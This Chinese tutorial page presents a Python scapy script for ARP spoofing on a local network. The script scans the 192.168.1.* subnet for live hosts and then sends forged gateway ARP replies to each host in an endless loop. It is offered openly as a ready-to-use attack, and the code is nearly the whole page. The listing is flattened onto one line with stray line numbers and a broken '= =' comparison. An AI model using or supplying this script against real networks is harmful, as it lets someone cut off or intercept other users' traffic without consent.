本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#coding:utf-8 ''' arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc ''' from scapy. all import ARP,send,arping import sys,re stdout = sys.stdout IPADDR = "192.168.1.*" gateway_ip = '192.168.1.1' #伪造网关mac地址 gateway_hw = '00:11:22:33:44:55' p = ARP(op = 2 ,hwsrc = gateway_hw,psrc = gateway_ip) def arp_hack(ip,hw): #伪造来自网关的arp应答 t = p t.hwdst = hw t.pdst = ip send(t) def get_host(): #得到在线主机的mac地址和对应ip地址 hw_ip = {} sys.stdout = open ( 'host.info' , 'w' ) arping(IPADDR) sys.stdout = stdout f = open ( 'host.info' , 'r' ) info = f.readlines() f.close del info[ 0 ] del info[ 0 ] for host in info : temp = re.split(r '\s+' ,host) hw_ip[temp[ 1 ]] = temp[ 2 ] return hw_ip if __name__ = = "__main__" : hw_ip = get_host() while 1 : for i in hw_ip : arp_hack(hw = i,ip = hw_ip[i]) |
希望本文所述对大家的Python程序设计有所帮助。